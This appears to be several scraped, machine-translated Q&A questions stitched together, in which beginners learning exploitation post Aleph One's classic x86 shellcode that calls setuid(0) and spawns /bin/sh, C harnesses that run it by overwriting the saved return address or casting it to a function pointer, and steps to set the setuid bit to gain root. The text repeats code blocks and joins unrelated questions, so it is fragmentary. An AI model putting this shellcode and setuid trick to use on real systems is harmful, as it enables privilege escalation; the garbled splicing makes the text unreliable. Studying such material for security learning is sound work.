//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
Run Code Online (Sandbox Code Playgroud)
谁能给我一个更好的解释?
我有这段代码来测试shellcode但是我不明白所以任何人都能解释一下吗?
忘了汇编shellcode,我想要了解的是C代码,
char shellcode[] = "...";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}
Run Code Online (Sandbox Code Playgroud)
我的意思是一切,什么是空的(),请解释一下,好像你正在向初学者解释它.
我是道德黑客世界的新手,其中一个最重要的事情是堆栈溢出,无论如何我编写了一个易受攻击的C程序,它有一个char名称[400]语句,当我尝试用401A运行程序时它不会不要溢出,但是我所遵循的这本书说它必须溢出而且逻辑意义如此说,那么什么是错的?
我正在关注这本关于道德黑客的电子书,我到了Linux Exploit Chapter,这是Aleph的1代码的代码.
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
Run Code Online (Sandbox Code Playgroud)
我给这个超级用户权限,用
chmod u+s shellcode
Run Code Online (Sandbox Code Playgroud)
作为超级用户,然后回到普通用户
su - normal_user
Run Code Online (Sandbox Code Playgroud)
但是当我运行时./shellcode我应该是root用户但是我仍然是normal_user所以任何帮助?顺便说一句,我正在研究BT4-Final,我关闭了ASLR,并在VMWare中运行BT4 ......